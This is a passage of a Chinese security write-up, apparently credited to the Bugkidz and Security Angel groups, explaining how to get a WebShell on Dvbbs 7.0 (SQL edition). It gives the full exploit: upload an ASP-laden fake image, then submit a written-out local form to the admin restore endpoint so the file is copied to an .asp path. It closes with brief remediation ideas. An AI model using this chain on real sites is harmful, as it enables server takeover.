动网论坛7.0获得WebShell的分析(4) SQL版的利用 还是在发帖那上传一个写有asp代码的假图片，然后记住其上传路径，比如UploadFile/2004-6/20046272411024.jpg，写一个本地提交的表单，代码如下： <form action="http://[target_url]/admin_data.asp?action=RestoreData&act=Restore" method="post"> <p>已上传文件的位置：<input name="Dbpath" type="text" size="80"></p> <p>要复制到的位置：<input name="backpath" type="text" size="80"></p> <p><input type="submit" value="提交"></p> </form> 然后就把UploadFile/2004-6/20046272411024.jpg填在“已上传文件的位置”那里，想要在哪里搞个WebShell就把完整的相对路径填写在“要复制到的位置”那里，比如：images/angel.asp提交就得到我们可爱的WebShell了， 解决方案 由于我放开ASP转向PHP很久了，所以不能提供很好的解决方案，只能给出个思路，由于利用局限比较大，所以大家如果不会修补，可以等官方的补丁出来。 针对ACCESS版的，可以对要备份的文件进行格式检查或内容检查，看是否为ASCII文件，再执行操作。 针对SQL版的，可以把那些毫无作用的代码去掉，只留个说明好了。 后记 感谢Super·Hei提出他ACCESS版的思路，我才得以分析，感谢xiaolu提供两个版本的论坛供我分析测试，并参与SQL版的讨论，本文版权由Bugkidz和Security Angel两个安全组织共同所有。转载请注明！
